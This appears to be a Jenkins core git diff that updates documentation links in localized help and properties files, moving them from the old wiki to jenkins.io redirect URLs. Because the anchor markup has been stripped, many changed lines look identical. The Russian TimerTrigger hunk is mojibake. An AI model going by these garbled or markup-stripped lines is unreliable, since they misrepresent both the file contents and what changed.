a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_sr.properties @@ -1,7 +1,7 @@ # This file is under the MIT License by authors Enter\ Your\ Oracle\ Account=\u0423\u043D\u0435\u0441\u0438\u0442\u0435 \u0432\u0430\u0448 Oracle \u043D\u0430\u043B\u043E\u0433 -description=\u0414\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0438\u0442\u0435 \u0441\u0442\u0430\u0440\u0438\u0458\u0438\u043C \u0432\u0435\u0440\u0437\u0438\u0458\u0430\u043C\u0430 JDK, \u043C\u043E\u0440\u0430\u0442\u0435 \u0438\u043C\u0430\u0442\u0438 Oracle \u043D\u0430\u043B\u043E\u0433. +description=\u0414\u0430 \u043F\u0440\u0438\u0441\u0442\u0443\u043F\u0438\u0442\u0435 \u0441\u0442\u0430\u0440\u0438\u0458\u0438\u043C \u0432\u0435\u0440\u0437\u0438\u0458\u0430\u043C\u0430 JDK, \u043C\u043E\u0440\u0430\u0442\u0435 \u0438\u043C\u0430\u0442\u0438 Oracle \u043D\u0430\u043B\u043E\u0433. Username=\u041A\u043E\u0440\u0438\u0441\u043D\u0438\u0447\u043A\u043E \u0438\u043C\u0435 Password=\u041B\u043E\u0437\u0438\u043D\u043A\u0430 OK=\u0423\u0440\u0435\u0434\u0443 diff --git a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_zh_TW.properties b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_zh_TW.properties index 96e6a016e9..a3262debbe 100644 --- a/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_zh_TW.properties +++ b/core/src/main/resources/hudson/tools/JDKInstaller/DescriptorImpl/enterCredential_zh_TW.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Enter\ Your\ Oracle\ Account=\u8f38\u5165\u60a8\u7684 Oracle \u5e33\u865f -description=\u60a8\u8981\u6709 Oracle \u5e33\u865f\u624d\u80fd\u62ff\u5230\u820a\u7248 JDK\u3002 +description=\u60a8\u8981\u6709 Oracle \u5e33\u865f\u624d\u80fd\u62ff\u5230\u820a\u7248 JDK\u3002 Username=\u4f7f\u7528\u8005\u540d\u7a31 Password=\u5bc6\u78bc OK=\u78ba\u5b9a diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help.html index bc1da6300c..f4243eb26f 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help.html @@ -5,5 +5,5 @@ Note that this is going to be an expensive operation for CVS, as every polling requires Jenkins to scan the entire workspace and verify it with the server. Consider setting up a "push" trigger to avoid this overhead, as described in - this document + this document diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_de.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_de.html index 60ec679775..ec159cbc7a 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_de.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_de.html @@ -7,6 +7,6 @@ ressourcenintensive Operation darstellt, da Jenkins bei jeder Abfrage den kompletten Arbeitsbereich überprüfen und mit dem CVS-Server abgleichen muss. Ziehen Sie daher alternativ einen "Push"-Auslöser in Betracht, wie er in - diesem Dokument beschrieben + diesem Dokument beschrieben wird. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_fr.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_fr.html index e8a9b9c1d2..fea5d45d38 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_fr.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_fr.html @@ -8,5 +8,5 @@ workspace et le comparer avec le serveur. Envisagez d'utiliser un trigger de type 'push' pour éviter cette surcharge, comme décrit dans - ce document. + ce document. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_ja.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_ja.html index 4be674d0a0..6e94ae93ca 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_ja.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_ja.html @@ -5,6 +5,6 @@ ポーリング毎に、Jenkinsはワークスペースをスキャンしてサーバーと検証する必要があるので、 CVSにとって負荷の高い操作ということに注意してください。 このオーバーヘッドを避けるために、 - このドキュメントにあるように、 + このドキュメントにあるように、 "push"トリガーの設定を検討してください。 diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_pt_BR.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_pt_BR.html index ffbfbca42f..9de5639081 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_pt_BR.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_pt_BR.html @@ -5,5 +5,5 @@ Note que isto vai ser uma operação custosa para o CVS, como toda consulta requer que o Jenkins examine o workspace inteiro e verifique-o com o servidor. Considere configurar um disparador de construção periódico ("Construir periodicamente") para evitar esta sobrecarga, como descrito - nesta documentação + nesta documentação diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_ru.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_ru.html index 9b3a4a550f..459ed73f0c 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_ru.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_ru.html @@ -6,5 +6,5 @@ на SCM, так как каждый опрос представляет собой сканирование сборочной директории и сверка содержимого с данными на сервере. Лучшим вариантом будет настройка вашей SCM на инициацию сборки при внесении в неё изменений, как описано - в этом документе. + в этом документе. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_tr.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_tr.html index a03b8733d0..f2fb31adf4 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_tr.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_tr.html @@ -4,6 +4,6 @@

                                                                      Unutmayın, bu işlem CVS için biraz yüklü olacaktır, çünkü her kontrolde Jenkins tüm çalışma alanını tarayacak ve bunu CVS sunucusu ile karşılaştıracaktır. - Bunun yerine bu dokümanda anlatıldığı gibi + Bunun yerine bu dokümanda anlatıldığı gibi "push" tetikleyicisini ayarlayın. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_zh_TW.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_zh_TW.html index ea6c91cd2d..75edc639e2 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_zh_TW.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_zh_TW.html @@ -3,6 +3,6 @@

                                                                      請注意,這對 CVS 而言代價很高,每次輪詢 Jenkins 都要掃描整個工作區,並與伺服器比對。 - 建議參考這份文件設定 + 建議參考這份文件設定 "push" 觸發程序,避免額外負擔。 diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help.html index 2317422c31..2cfdb20b5c 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help.html @@ -11,7 +11,7 @@ this feature. However, the point of continuous integration is to start a build as soon as a change is made, to provide a quick feedback to the change. To do that you need to - hook up SCM change notification to Jenkins. + hook up SCM change notification to Jenkins.

                                                                      So, before using this feature, stop and ask yourself if this is really what you want. diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_de.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_de.html index 24e6c7f233..446b3928a2 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_de.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_de.html @@ -12,7 +12,7 @@ kontinuierlichen Integration liegt jedoch darin, einen neuen Build zu starten, sobald eine Änderung im Code vorgenommen wurde, um möglichst schnell eine Rückmeldung zu bekommen. Dazu müssen sie eine - Änderungsabfrage (SCM change + Änderungsabfrage (SCM change notification) in Jenkins einrichten.

                                                                      diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_fr.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_fr.html index 79a3de804c..f9566b43ff 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_fr.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_fr.html @@ -15,7 +15,7 @@ chaque changement dans la base de code, afin de donner un retour rapide sur ce changement. Pour cela, vous devez - associer la notification des changements de l'outil de gestion de version à Jenkins.. + associer la notification des changements de l'outil de gestion de version à Jenkins..

                                                                      Donc, avant d'utiliser cette fonctionnalité, demandez-vous si c'est bien diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_ja.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_ja.html index f5f5393cff..a11c40031b 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_ja.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_ja.html @@ -10,7 +10,7 @@ この機能を使用します。しかしながら、継続的インテグレーションのポイントは、 変更したらすぐにビルドを開始し、変更へのフィードバックをすばやくすることです。 そうするには、 - SCMの変更通知をJenkinsに中継する必要があります。 + SCMの変更通知をJenkinsに中継する必要があります。

                                                                      上記の通り、この機能を使用する前に、この機能が本当にあなたが必要とするものなのか、 diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_pt_BR.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_pt_BR.html index b83f673b38..9c8cc68dba 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_pt_BR.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_pt_BR.html @@ -11,7 +11,7 @@ usam esta funcionalidade. Porém, o ponto principal da integração contínua é iniciar uma construção tão logo uma mudança seja feita, para fornecer um feedback rápido sobre a mudança. Para fazer isto você precisa - ligar a notificação de mudança do SCM ao Jenkins.. + ligar a notificação de mudança do SCM ao Jenkins..

                                                                      Assim, antes de usar esta funcionalidade, pare e pergunte a si mesmo se isto é o que realmente você quer. diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_ru.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_ru.html index 91c0eb2289..28e0eece9b 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_ru.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_ru.html @@ -14,7 +14,7 @@ ࠧࠡ��稪��. �⮡� ��������� Jenkins �뫮 ������ ⠪��, ����ன� - �����饭�� �� ��஭� SCM. + �����饭�� �� ��஭� SCM.

                                                                      ��������, ��। ⥬ ��� �ᯮ�짮���� ��� �㭪��, ��⠭������ � ���� ᥡ�, diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_tr.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_tr.html index b8782162b0..8d257bd71c 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_tr.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_tr.html @@ -10,7 +10,7 @@ planlanabilir. Bu özellik de bu amaç için kullanılabilse de, sürekli entegrasyonun asıl noktasının herhangi bir değişiklik olur olmaz yapılandırmanın başlatılması olduğu ve bu değişikliğe ait geri bildirimin çabucak verilmesi gerektiği unutulmamalıdır. - Bunun için SCM değişikliklerini Jenkins'a bildirecek mekanizmanın + Bunun için SCM değişikliklerini Jenkins'a bildirecek mekanizmanın ayarlanması gerekir.

                                                                      Yani, bu özelliği kullanmadan önce yapmak istediğinizin bu yöntem ile mi yapılması gerektiğini sorgulayın. diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_zh_TW.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_zh_TW.html index 806fefbadd..0809ad1abb 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_zh_TW.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_zh_TW.html @@ -6,7 +6,7 @@ 大家第一次接觸持續整合 (Continuous Integration; CI) 時,常會有 Nightly 或 Weekly 建置的刻板印象,認為就該用這個功能為建置挑個良辰吉時。 但是,CI 的中心思想是個仁...不是啦,CI 的中心思想是在異動後盡快建置,讓大家馬上就能知道這次變更所造成的影響。 - 要達到這個目的,可以讓 SCM 在異動後主動通知 Jenkins。 + 要達到這個目的,可以讓 SCM 在異動後主動通知 Jenkins

                                                                      所以,在使用這個功能前,先停下來問問自己: 「我到底想要幹嘛?」 diff --git a/core/src/main/resources/hudson/util/AWTProblem/index.properties b/core/src/main/resources/hudson/util/AWTProblem/index.properties index af43e1ac98..817ba2c967 100644 --- a/core/src/main/resources/hudson/util/AWTProblem/index.properties +++ b/core/src/main/resources/hudson/util/AWTProblem/index.properties @@ -20,4 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -errorMessage=AWT is not properly configured on this server. Perhaps you need to run your container with "-Djava.awt.headless=true"? See also: https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+got+java.awt.headless+problem +errorMessage=AWT is not properly configured on this server. Perhaps you need to run your container with "-Djava.awt.headless=true"? See also: https://jenkins.io/redirect/troubleshooting/java.awt.headless diff --git a/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties b/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties index 0740e9258c..41e88a682a 100644 --- a/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties +++ b/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors Error=\u0413\u0440\u0435\u0448\u043A\u0430 -errorMessage=AWT \u043D\u0438\u0458\u0435 \u043F\u0440\u0430\u0432\u0438\u043B\u043D\u043E \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E \u043D\u0430 \u043E\u0432\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438. \u041C\u043E\u0436\u0434\u0430 \u0431\u0438 \u0442\u0440\u0435\u0431\u0430\u043B\u0438 \u043F\u043E\u0447\u0435\u0442\u0438 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0435 \u0441\u0430 \u043E\u043F\u0446\u0438\u0458\u043E\u043C "-Djava.awt.headless=true"? \u0418\u0441\u0442\u043E \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435: https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+got+java.awt.headless+problem +errorMessage=AWT \u043D\u0438\u0458\u0435 \u043F\u0440\u0430\u0432\u0438\u043B\u043D\u043E \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E \u043D\u0430 \u043E\u0432\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438. \u041C\u043E\u0436\u0434\u0430 \u0431\u0438 \u0442\u0440\u0435\u0431\u0430\u043B\u0438 \u043F\u043E\u0447\u0435\u0442\u0438 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0435 \u0441\u0430 \u043E\u043F\u0446\u0438\u0458\u043E\u043C "-Djava.awt.headless=true"? \u0418\u0441\u0442\u043E \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435: https://jenkins.io/redirect/troubleshooting/java.awt.headless diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index.properties index 2b3a036350..e9337d5940 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index.properties @@ -29,5 +29,5 @@ errorMessage.1=\ way to fix the problem is simply to turn the security manager off. errorMessage.2=\ For how to turn off security manager in your container, refer to \ - \ + \ Container-specific documentations of Jenkins. diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties index c9a9967892..80bf4d8187 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties @@ -29,5 +29,5 @@ errorMessage.1=\ Manager" ist), ist es am Einfachsten, den Security Manager abzuschalten. errorMessage.2=\ Wie Sie den Security Manager Ihres Web-Containers abschalten, entnehmen Sie \ - der containerspezifischen \ + der containerspezifischen \ Jenkins-Dokumentation. diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_es.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_es.properties index 066f6b967b..ec945dcc86 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_es.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_es.properties @@ -24,7 +24,7 @@ errorMessage.1=\ Se ha detectado que Jenkins no tiene suficientes permisos para ejecutarse. \ Probablemente pueda ser que el ''security manager'' de tu contenedor de ''servlet'' est activado. errorMessage.2=\ - Echa un vistazo a \ + Echa un vistazo a \ Container-specific documentations para saber cmo desactivar esta restriccin. Error=Error diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_ja.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_ja.properties index 8679692170..ae3a871167 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_ja.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_ja.properties @@ -29,5 +29,5 @@ errorMessage.1=\ \u30BB\u30AD\u30E5\u30EA\u30C6\u30A3\u30DE\u30CD\u30FC\u30B8\u30E3\u30FC\u3092\u7121\u52B9\u306B\u3057\u3066\u3057\u307E\u3046\u306E\u304C\u4E00\u756A\u7C21\u5358\u3067\u3059\u3002 errorMessage.2=\ \u4F7F\u7528\u3057\u3066\u3044\u308B\u30B3\u30F3\u30C6\u30CA\u30FC\u3067\u306E\u30BB\u30AD\u30E5\u30EA\u30C6\u30A3\u30DE\u30CD\u30FC\u30B8\u30E3\u30FC\u306E\u7121\u52B9\u5316\u306E\u65B9\u6CD5 \u306B\u3064\u3044\u3066\u306F\u3001\ - \ + \ Container-specific documentations\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_pt_BR.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_pt_BR.properties index c1090b7185..2f5904304a 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_pt_BR.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_pt_BR.properties @@ -34,7 +34,7 @@ de seguran\u00e7a, poder\u00e1 desativ\u00e1-lo. Error=Erro # \ # For how to turn off security manager in your container, refer to \ -# \ +# \ # Container-specific documentations of Jenkins. errorMessage.2=Para desativar o gerenciador de seguran\u00e7a, \ Documenta\u00e7\u00e3o especifica sobre containers do Jenkins diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties index a3def1735b..011f3bd612 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties @@ -3,6 +3,6 @@ Error=\u0413\u0440\u0435\u0448\u043A\u0430 errorMessage.1=Jenkins je \u043E\u0442\u043A\u0440\u0438o \u0434\u0430 \u043D\u0435\u043C\u0430 \u043E\u0432\u043B\u0430\u0448\u045B\u0435\u045A\u0435 \u0434\u0430 \u0441\u0435 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430, \u0435\u0432\u0438\u0434\u0435\u043D\u0442\u0438\u0440\u0430\u043D\u043E \u043F\u0440\u0430\u0442\u0435\u045B\u043E\u0458 \u0442\u0440\u0430\u0441\u0438 \u0441\u0442\u0435\u043A\u043E\u043C. \u0412\u0435\u0440\u043E\u0432\u0430\u0442\u043D\u043E \u0458\u0435 \u0437\u0431\u043E\u0433 \u043D\u0435\u043A\u043E\u0433 \u043D\u0430\u0434\u0437\u043E\u0440\u043D\u043E\u0433 \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0430, \u043A\u043E\u0458\u0438 \u0431\u0438 \u0442\u0440\u0435\u0431\u043E \u0434\u0430 \u0441\u0435 \u043F\u043E\u0434\u0435\u0441\u0438 \u0438\u043B\u0438 \u0438\u0441\u043A\u0459\u0443\u0447\u0438. errorMessage.2=\u0423\u043F\u0443\u0441\u0442\u0432\u043E \u043A\u0430\u043A\u043E \u0443\u0433\u0430\u0441\u0438\u0442\u0438 security manager \u0443 \u0432\u0430\u0448\u0435\u043C \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0443 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0438 \u0443 \u0447\u043B\u0430\u043D\u043A\u0443 \ - \ + \ \u0414\u043E\u043A\u0443\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0430 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0430 \u0443 Jenkins-\u0443. de= diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_zh_TW.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_zh_TW.properties index ba7f9a6ded..dd369fb349 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_zh_TW.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_zh_TW.properties @@ -28,5 +28,5 @@ errorMessage.1=\ \u8981\u662f\u60a8\u9023 Security Manager \u662f\u4ec0\u9ebc\u90fd\u4e0d\u77e5\u9053\uff0c\u6700\u7c21\u55ae\u7684\u8655\u7406\u65b9\u6cd5\u5c31\u662f\u628a\u5b83\u95dc\u6389\u3002 errorMessage.2=\ \u95dc\u9589\u60a8 Container \u7684 Security Manager \u7684\u65b9\u6cd5\u53ef\u4ee5\u53c3\u8003 Jenkins \u7684 \ - \ + \ Container \u76f8\u95dc\u6587\u4ef6\u3002 diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index.properties index ddf728cf83..cf8fe45ca3 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index.properties @@ -21,4 +21,4 @@ # THE SOFTWARE. blurb=Another instance of JNA is already loaded in another classloader, thereby making it impossible for Jenkins \ - to load its own copy. See Wiki for more details. + to load its own copy. See Wiki for more details. diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_de.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_de.properties index 1db31ab5b9..c043e4f426 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_de.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_de.properties @@ -24,5 +24,5 @@ Failed\ to\ load\ JNA=Java Native Access (JNA) konnte nicht geladen werden blurb=\ Eine JNA-Instanz wurde bereits von einem anderen Classloader geladen. \ Dies hindert Jenkins daran, seine eigene JNA-Instanz zu laden. \ - Mehr... + Mehr... diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_es.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_es.properties index abf2dd43d0..f04bc938f6 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_es.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_es.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. blurb=Otra instancia de JNA est en ejecucin, echa un vistazo a esta \ - pagina para ver mas detalles. + pagina para ver mas detalles. Failed\ to\ load\ JNA=Fallo al cargar JNA diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_ja.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_ja.properties index de457be680..fb66f542ea 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_ja.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_ja.properties @@ -22,4 +22,4 @@ Failed\ to\ load\ JNA=Java Native Access (JNA) \u306E\u30ED\u30FC\u30C9\u306B\u5931\u6557\u3057\u307E\u3057\u305F\u3002 blurb=\u5225\u306E\u30AF\u30E9\u30B9\u30ED\u30FC\u30C0\u30FC\u304CJNA\u306E\u30A4\u30F3\u30B9\u30BF\u30F3\u30B9\u3092\u65E2\u306B\u30ED\u30FC\u30C9\u3057\u3066\u3044\u307E\u3059\u3002\u305D\u306E\u305F\u3081\u3001Jenkins\u304C\u30ED\u30FC\u30C9\u3059\u308B\u3053\u3068\u304C\u3067\u304D\u307E\u305B\u3093\u3002\ - \u8A73\u7D30\u306F\u3001Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 + \u8A73\u7D30\u306F\u3001Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_pt_BR.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_pt_BR.properties index 02cc07bbda..8238947faa 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_pt_BR.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_pt_BR.properties @@ -22,6 +22,6 @@ Failed\ to\ load\ JNA= # Another instance of JNA is already loaded in another classloader, thereby making it impossible for Jenkins \ -# to load its own copy. See Wiki for more details. +# to load its own copy. See Wiki for more details. blurb=Outra inst\u00e2ncia do JNA j\u00e1 est\u00e1 carregada em outro Classloader, impossibilitando ao Jenkins \ diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties index a774b7e8f9..89c5a8befb 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors Failed\ to\ load\ JNA=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u043B\u043E \u0443\u0447\u0438\u0442\u0430\u0442\u0438 JNA -blurb=\u0414\u0440\u0443\u0433\u0430 \u0438\u043D\u0441\u0442\u0430\u043D\u0446\u0430 JNA \u0458\u0435 \u0432\u0435\u045B \u0443\u0447\u0438\u0442\u0430\u043D\u0430 \u0443 classloader, \u043F\u043E\u0442\u043E\u043C Jenkins \u043D\u0435\u043C\u043E\u0436\u0435 \u0443\u0447\u0438\u0442\u0430\u0442\u0438 \u0441\u0432\u043E\u0458\u0443 \u043A\u043E\u043F\u0438\u0458\u0443. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. +blurb=\u0414\u0440\u0443\u0433\u0430 \u0438\u043D\u0441\u0442\u0430\u043D\u0446\u0430 JNA \u0458\u0435 \u0432\u0435\u045B \u0443\u0447\u0438\u0442\u0430\u043D\u0430 \u0443 classloader, \u043F\u043E\u0442\u043E\u043C Jenkins \u043D\u0435\u043C\u043E\u0436\u0435 \u0443\u0447\u0438\u0442\u0430\u0442\u0438 \u0441\u0432\u043E\u0458\u0443 \u043A\u043E\u043F\u0438\u0458\u0443. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_zh_TW.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_zh_TW.properties index 7508e81be4..9d12da7613 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_zh_TW.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_zh_TW.properties @@ -23,4 +23,4 @@ Failed\ to\ load\ JNA=JNA \u8f09\u5165\u5931\u6557 blurb=\ \u5df2\u7d93\u6709\u5176\u4ed6 ClassLoader \u8f09\u5165\u4e86 JNA\uff0cJenkins \u56e0\u6b64\u7121\u6cd5\u8f09\u5165\u81ea\u5df1\u7684\u7248\u672c\u3002\ - \u8acb\u53c3\u8003 Wiki \u4e0a\u7684\u8a73\u7d30\u8cc7\u6599\u3002 + \u8acb\u53c3\u8003 Wiki \u4e0a\u7684\u8a73\u7d30\u8cc7\u6599\u3002 diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index.properties b/core/src/main/resources/hudson/util/NoHomeDir/index.properties index e389ec998a..c54b6adbcc 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index.properties @@ -25,6 +25,6 @@ errorMessage.1=\ errorMessage.2=\ To change the home directory, use JENKINS_HOME environment variable or set the \ JENKINS_HOME system property. \ - See Container-specific documentation \ + See Container-specific documentation \ for more details of how to do this. diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties index 05f9fe5256..df884cff84 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties @@ -27,6 +27,6 @@ errorMessage.1=\ errorMessage.2=\ Um das Stammverzeichnis zu ndern, verwenden Sie die Umgebungsvariable JENKINS_HOME \ oder die Java-Systemeigenschaft JENKINS_HOME. Weitere Details entnehmen Sie \ - der containerspezifischen \ + der containerspezifischen \ 